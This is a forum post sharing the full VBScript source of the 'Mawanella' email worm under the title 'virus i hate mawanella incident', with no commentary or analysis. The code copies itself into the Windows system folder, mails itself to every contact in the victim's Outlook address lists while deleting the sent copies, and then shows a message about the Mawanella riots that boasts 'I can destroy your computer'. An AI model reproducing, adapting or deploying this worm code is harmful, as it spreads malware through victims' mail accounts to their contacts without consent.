fahmi Posted January 10, 2011 Share Posted January 10, 2011 virus i hate mawanella incidentOn Error Resume NextRem // I hate Mawanella incidentSet W_S = CreateObject("WScript.Shell")Set fso = CreateObject("Scripting.FileSystemObject")set file = fso.OpenTextFile(WScript.ScriptFullname,1)vbscopy=file.ReadAllmain()sub main()On Error Resume Nextdim wscr,rr, strMsgset wscr=CreateObject("WScript.Shell")Set dirwin = fso.GetSpecialFolder(0)Set dirsystem = fso.GetSpecialFolder(1)Set dirtemp = fso.GetSpecialFolder(2)Set cFile = fso.GetFile(WScript.ScriptFullName)cFile.Copy(dirsystem&"\Mawanella.vbs")Set OutlookA = CreateObject("Outlook.Application")If OutlookA = "Outlook" ThenSet Mapi=OutlookA.GetNameSpace("MAPI")Set AddLists=Mapi.AddressListsFor Each ListIndex In AddListsIf ListIndex.AddressEntries.Count <> 0 ThenContactCountX = ListIndex.AddressEntries.CountFor Count= 1 To ContactCountXSet MailX = OutlookA.CreateItem(0)Set ContactX = ListIndex.AddressEntries(Count)'msgbox contactx.address'Mailx.Recipients.Add(ContactX.Address)MailX.To = ContactX.AddressMailX.Subject = "Mawanella"MailX.Body = vbcrlf&"Mawanella is one of the Sri Lanka's Muslim Village"&vbcrlf'Set Attachment=MailX.Attachments'Attachment.Add dirsystem & "\Mawanella.vbs"'Mailx.Attachments.Add(dirsystem & "\Mawanella.vbs")Mailx.Attachments.Add(dirsystem & "\Mawanella.vbs")MailX.DeleteAfterSubmit = TrueIf MailX.To <> "" ThenMailX.SendEnd IfNextEnd IfNextElsemsgBox "Please Forward this to everyone"End ifstrMsg= " ) (" & vbcrlfstrMsg= strMsg & "( ) ( ) " & vbcrlfstrMsg= strMsg & " ( ) ( )" & vbcrlfstrMsg= strMsg & " ( ) ( )" & vbcrlfstrMsg= strMsg & " -------------------------" & vbcrlfstrMsg= strMsg & " / ( ( ( /\" & vbcrlfstrMsg= strMsg & " / ( / \" & vbcrlfstrMsg= strMsg & " / ( ( / \" & vbcrlfstrMsg= strMsg & " --------------------------------" & vbcrlfstrMsg= strMsg & " | --- | |" & vbcrlfstrMsg= strMsg & " | ----- | | | |" & vbcrlfstrMsg= strMsg & " | | | --- | |" & vbcrlfstrMsg= strMsg & " | | | | |" & vbcrlfstrMsg= strMsg & " --------------------------------" & vbcrlfstrMsg= strMsg & "Mawanella is one of the Sri Lanka's Muslim Village." & vbcrlfstrMsg= strMsg & "This brutal incident happened here 2 Muslim Mosques & 100 Shops are burnt." & vbcrlfstrMsg= strMsg & "I hat this incident, What about you? I can destroy your computer" & vbcrlfstrMsg= strMsg & "I didnt do that because I am a peace-loving citizen."msgbox strMsg,,"Mawanella"End sub Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now